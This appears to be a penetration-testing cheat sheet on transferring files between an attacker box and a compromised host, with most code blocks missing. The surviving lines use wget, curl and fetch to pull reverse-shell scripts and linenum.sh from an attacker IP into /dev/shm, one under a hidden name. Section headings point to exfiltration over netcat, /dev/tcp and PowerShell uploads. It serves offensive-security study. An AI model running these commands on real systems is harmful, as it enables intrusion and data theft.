Transferring Files

Web server

wget http://10.10.14.1:800/linenum.sh
curl http://10.10.14.1:8000/linenum.sh -o linenum.sh

Different methods

Linux

wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD

Windows

DNS

ICMP

Attacker Box

  • python script

Victim

Linux

Windows

Python

Uploading a File Using a Python One-liner

PHP

PHP Download with File_get_contents()

PHP Download with Fopen()

PHP Download a File and Pipe it to Bash

JavaScript

  • create a file called wget.js

Download a File Using JavaScript and cscript.exe

VBScript

  • create a file called wget.vbs

Other Languages

Ruby - Download a File

Perl - Download a File

RDP

Mounting a Linux Folder Using rdesktop

Mounting a Linux Folder Using xfreerdp

Linux

MD5

SSHFS

  • If the victim has SSH, the attacker can mount a directory from the victim to the attacker.

NC

Linux

  • -q 0 will tell Netcat to close the connection once it finishes

Windows

  • Receive file

  • send

Compromised Machine Connecting to Netcat Using /dev/tcp to Receive the File

Note: The same operation can be used to transfer files from the compromised host to our Pwnbox.

SCP

Encode and Decode Files

Encode File

Decode File

SMB Server

FTP Server

Windows

MD5

powershell

Bat

PowerShell Base64 Encode & Decode

Encode

Decode

PowerShell Web Downloads

PowerShell Remoting

  • To create a PowerShell Remoting session on a remote computer, we will need

    • administrative access,

    • be a member of the Remote Management Users group,

    • or have explicit permissions for PowerShell Remoting in the session configuration.

From DC01 - Confirm WinRM port TCP 5985 is Open on DATABASE01.

Create a PowerShell Remoting Session to DATABASE01

Copy samplefile.txt from our Localhost to the DATABASE01 Session

Copy DATABASE.txt from DATABASE01 Session to our Localhost

SMB Downloads

Copy a File from the SMB Server

  • New versions of Windows block unauthenticated guest access

Mount the SMB Server with Username and Password

SMB Uploads

Configuring WebDav Server

Connecting to the Webdav Share

Uploading Files using SMB

FTP Downloads

Transfering Files from an FTP Server Using PowerShell

Create a Command File for the FTP Client and Download the Target File

  • this can be done by typing commands

PowerShell Web Uploads

PowerShell Base64 Web Upload

  • use Netcat to listen in on a port we specify and send the file as a POST request

Attacker

  • get the following

  • decode the string

Victim

Encryption while Transfer

File Encryption on Windows

Invoke-AESEncryption.ps1

Import Module Invoke-AESEncryption.ps1

File Encryption Example

File Encryption on Linux

Encrypting /etc/passwd with openssl

Decrypt passwd.enc with openssl

Last updated